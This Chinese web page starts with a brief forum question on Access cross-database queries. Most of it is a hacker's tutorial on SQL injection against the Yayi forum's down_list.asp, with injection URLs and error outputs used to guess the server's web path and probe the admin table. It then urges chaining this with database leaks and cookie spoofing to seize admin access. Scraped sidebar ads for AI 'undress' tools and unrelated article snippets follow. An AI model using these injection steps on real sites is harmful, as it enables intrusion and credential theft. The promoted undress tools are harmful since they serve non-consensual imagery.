跨库查询一定需要绝对路径吗
找到一点关于不要 绝对 路径 的东西,希望讨论一下! ACCESS的跨库是通过中括号实现的,包括 路径 ,密码设置等;跨库的前提是已经打开了一个Connection。 问题说明: 有时 需要 在两个或三个数据库的表中,通过相关关键字, 查询 获取所需记录集,用一般的SQL
找到一点关于不要绝对路径的东西,希望讨论一下!
ACCESS的跨库是通过中括号实现的,包括路径,密码设置等;跨库的前提是已经打开了一个Connection。
问题说明: 有时需要在两个或三个数据库的表中,通过相关关键字,查询获取所需记录集,用一般的SQL查询语句是实现不了的,可通过ACCESS的跨库查询功能实现。
解决方法: 例如"admin"和"rain"两张表是在不同的数据库中的,具体查询方法,如下:
@"Select * from admin as a INNER JOIN [;database=" + AppDomain.CurrentDomain.BaseDirectory + "rain.zc].rain as b
ON a.BH=b.LXBH"
SUPERHEI的那个还不是先暴库得到绝对路径,再跨库的, 和讨论的有点区别啊
这个跨库,好象需要两个库在同一目录就可以了 看到这个题目各位大虾小虾先别急着找东西砸我,的确现在跨库查询的资料随便找找都可以找到一大堆,不像以前那样想看点资料还得对着一大堆E文敲脑袋。今天我要说的是我前一段时间发现的一个跨库查询的一个新玩法,大家可要仔细听哦。
照例先介绍一下,在大概一个月前幻影旅团和灰色轨迹对这个问题进行了一些讨论就是在递交:
http://www.target.com/show.asp?id=1 or 0(select count(*) from admin.c)
会出现如下的错误提示:
Microsoft JET Database Engine 错误 '80004005'
找不到文件 'C:\WINNT\system32\admin.mdb'。
看到了吧,如果看过xhacker写的那份学习报告的人肯定就已经兴奋起来了,因为那份报告隐约提到了ACCESS的一个漏洞可以Dir C:\ /s!让我们继续玩下去吧,递交:
http://www.target.com/show.asp?id=1 or 0(select count(*) from c:\boot.ini)
返回:
Microsoft JET Database Engine 错误 '80004005'
找不到文件 'c:\boot.mdb'。
看样子from后面的部分我们是可以添加路径的了。既然想Dir当然就要访问了cmd.exe拉,再来:
http://www.target.com/show.asp?id=1 or 0(select count(*) from c:\winnt\system32\cmd.exe.c)
看看错误提示吧:
Microsoft JET Database Engine 错误 '80004005'
不可识别的数据库格式 'c:\winnt\system32\CMD.EXE'。
看样子我们的希望落空了哦(多次实践后你可以得到from后面跟的文件名的格式应该是这样:文件名.后缀名.任何字母,这样你才可以访问到文件名.后缀名的那个文件)。这个时候这个漏洞好象我们至多只可以确定一个目录或一个文件是否存在,当时我和很多人的想法一样认为这属于鸡肋级的漏洞,食之无味,弃之可惜。
后来在一天在帮一个朋友检测论坛安全性,看了看是用的雅艺论坛。首先我试了一下默认的数据库名。提交:
http://www.target.com/yabbs/data/1yabbs.asp,没有提示找不到文件,看样子是没改数据库名了。但是由于扩展名是.asp,我们仍然无法下载他的数据库。没办法,只好到硬盘去翻了半天把我原来下载的一套雅艺论坛拿出来看代码。结果还真发现了一个激动人心的地方,在论坛自带的下载插件的down_list.asp这个文件发现这样的一段代码:
if request("id")="" then
response.write "您没有选择相关软件,请返回"
response.end
end if
set rs=server.createobject("adodb.recordset")
sql="select
Dclass.class,DNclass.Nclass,download.showname,download.classid,download.Nclassid,download.lasthits,download.down
show from download,Dclass,DNclass where download.classid=Dclass.classid and download.Nclassid=DNclass.Nclassid
and download.ID="&request("id")
看见没有,&request("id")这个变量没做任何过滤就代如到查询语句中去了,我们可以进行SQL注入!说的容易,在做的时候却碰到了困难,递交如下URL:
(select%20count(*)%20from%20admin">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20admin)
成功返回页面,OK,存在admin表。再来确定保存用户名的列名:
(select%20count(*)%20from%20admin">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20admin where username)
也成功了,保存用户名的列为username,再来看密码列:
(select%20count(*)%20from%20admin">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20admin where password)
出错了,没关系早有准备,再试。最后几乎把我可以想到的列名全试了个遍,既然没一个对的,这下轮到我郁闷了,问了问那个朋友对数据库做了处理没有,得到的回答是没有。那就打开他默认的数据库吧,DATA目录下有两个数据库,一个是1yabbs.asp(论坛用),一个是 download.asp(下载系统用),打开一看,里面竟然根本没有密码列!看样子又没的玩了,后来在和MM闲扯的时候突然想到了利用方法(别说我和 MM聊天不专心啊:)。在SQL注入的时候我们有时会用到这样语句"admin.id"其中admin是表名,id是列名。那么我们可不可以结合前一段时间讨论的那个鸡肋漏洞呢,既然想到了,那就要动手实践一下才行,用开始说的方法,先来找WEB目录:
(select%20count(*)%20from%20c:\web\w.c.c">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20c:\web\w.c.c)
返回如下信息:
Microsoft JET Database Engine 错误 '80004005'
'c:\web\w.c'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。
/yabbs/down_list.asp,行37
目录猜错了,再来:
(select%20count(*)%20from%20d:\web\w.c.c">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20d:\web\w.c.c)
这次提示就变了:
Microsoft VBscript 编译器错误 错误'8000a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft JET Database Engine 错误 '80004005'
找不到文件'd:\web\w.c'。
/yabbs/down_list.asp,行37
这次提示找不到文件哦,呵呵,知道WEB目录就容易了大胆的猜吧。再次递交:
(select%20count(*)%20from%">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20d:\web\yabbs\datayabbs.asp.c)
这次OK,直接猜到了具体的路径,提示却正巧和我的想法一样,真是#$#$@(此时兴奋的晕过去10秒......)
返回的信息为:
Microsoft VBscript 编译器错误 错误'8000a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft JET Database Engine 错误 '80040e37'
Microsoft Jet 数据库引擎找不到输入表或查询 'c'。 确定它是否存在,以及它的名称的拼写是否正确。
好了,现在一切都将变的简单化了,递交查询语句确定表和列名。
(select%20count(*)%20from%">(select%20count(*)%20from%">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20d:\web\yabbs\datayabbs.asp.admin%20where%20username)
成功显示,说明在1yabbs.asp这个数据库中存在admin表和username列。再来查询ID值,递交如下URL:
(select%20count(*)%20from%">http://www.target.com/yabbs/down_list.asp?id=1%20or%200(select%20count(*)%20from%20d:\web\yabbs\datayabbs.asp.admin%20where%20id=1)
页面成功显示,现在不用我多说什么了吧,大家都会的,下面的部分就看大家的了。
回顾一下上面的分析过程我们可以干些什么呢?在面对一个大型站点,你知道他的数据库名(例如利用我上次写的那篇动网爆库漏洞的文章中提到的内容,得到了动网论坛的数据库名,但是他的数据库又不可以下载,而那套程序又没有其他已知的注入漏洞。)我们可以试试利用那个站里其他程序存在的SQL注入漏洞来进行跨库查询,先猜WEB路径,再进行跨库查询,从而得到动网论坛的密码,再进行COOKIE欺骗,就可以拿到前台权限了。利用的地方很多,大家可以自己去摸索一下,毕竟要把别人的技术变成自己的就要好好拓展别人的思路来研究。

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

Video Face Swap
使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

記事本++7.3.1
好用且免費的程式碼編輯器

SublimeText3漢化版
中文版,非常好用

禪工作室 13.0.1
強大的PHP整合開發環境

Dreamweaver CS6
視覺化網頁開發工具

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

12306訂票app下載最新版是一款大家非常滿意的出行購票軟體,想去哪裡就去那裡非常方便,軟體內提供的票源非常多,只需要通過實名認證就能在線購票,所有用戶的出行車票機票都可以輕鬆買到,享受不同的優惠折扣。還能提前開啟預約搶票,預約飯店、專車接送都是可以的,有了它想去哪裡就去那裡一鍵購票,出行更加簡單方便,讓大家的出行體驗更舒服,現在小編在線詳細為12306用戶帶來查看歷史購票記錄的方法。 1.打開鐵路12306,點擊右下角我的,點擊我的訂單 2.在訂單頁面點擊已支付。 3.在已支付頁

學信網如何查詢自己的學歷?在學信網中是可以查詢到自己的學歷,很多用戶都不知道如何在學信網中查詢到自己的學歷,接下來就是小編為用戶帶來的學信網查詢自己學歷方法圖文教程,感興趣的用戶快來一起看看吧!學信網使用教程學信網如何查詢自己的學歷一、學信網入口:https://www.chsi.com.cn/二、網站查詢:第一步:點選上方學信網位址,進入首頁點選【學歷查詢】;第二步:在最新的網頁中點選如下圖箭頭所示的【查詢】;第三步:之後在新頁面點選【的登陸學信檔案】;第四步:在登陸頁面輸入資料點選【登陸】;

Win11系統中「我的電腦」路徑有何不同?快速找方法!隨著Windows系統的不斷更新,最新的Windows11系統也帶來了一些新的變化和功能。其中一個常見的問題是使用者在Win11系統中找不到「我的電腦」的路徑,這在先前的Windows系統中通常是很簡單的操作。本文將介紹Win11系統中「我的電腦」的路徑有何不同,以及快速尋找的方法。在Windows1

MySQL與PL/SQL是兩種不同的資料庫管理系統,分別代表了關係型資料庫和過程化語言的特性。本文將比較MySQL和PL/SQL的異同點,並附帶具體的程式碼範例進行說明。 MySQL是一種流行的關聯式資料庫管理系統,採用結構化查詢語言(SQL)來管理和操作資料庫。而PL/SQL是Oracle資料庫特有的過程化語言,用於編寫預存程序、觸發器和函數等資料庫物件。相同

Linux內核是一個開源的作業系統內核,其原始碼儲存在一個專門的程式碼倉庫中。在本文中,我們將詳細解析Linux核心原始碼的存放路徑,並透過具體的程式碼範例來幫助讀者更好地理解。 1.Linux核心原始碼存放路徑Linux核心原始碼儲存在一個名為linux的Git倉庫中,該倉庫託管在[https://github.com/torvalds/linux](http

使用蘋果手機想要查詢啟動日期,最好的方法是透過手機中的序號來查詢,也可以透過存取蘋果的官網來進行查詢,透過連接電腦查詢,下載第三方軟體查詢。蘋果手機怎麼查詢啟動日期答:序號查詢,蘋果官網查詢,電腦查詢,第三方軟體查詢1、用戶最好的方式就是知道自己手機的序號,開啟設定通用關於本機就可以看到序號。 2.使用序號不僅可以知道自己手機的啟動日期,還可以查看手機版本,手機產地,手機出廠日期等。 3.用戶訪問蘋果的官網找到技術支持,找到頁面底部的服務和維修欄目,裡面查看iPhone的激活信息。 4.用戶

標題:如何使用Oracle查詢表格是否被鎖定?在Oracle資料庫中,表鎖是指當一個事務正在對錶執行寫入操作時,其他事務想要對該表執行寫入操作或對表進行結構改變(如增加列、刪除行等)時會被阻塞。在實際開發過程中,我們經常需要查詢表格是否被鎖,以便更好地排除和處理相關問題。本文將介紹如何使用Oracle語句查詢表格是否被鎖,並給出具體的程式碼範例。要查詢表是否被鎖,我們

論壇是網路上非常常見的網站形式之一,它為使用者提供了一個分享資訊、交流討論的平台。而Discuz是一款常用的論壇程序,相信很多站長都已經非常熟悉了。在進行Discuz論壇的開發和管理過程中,經常需要查詢資料庫中的資料來進行分析或處理。在這篇文章中,我們將分享一些查詢Discuz資料庫位置的技巧,並提供具體的程式碼範例。首先,我們需要了解Discuz的資料庫結構
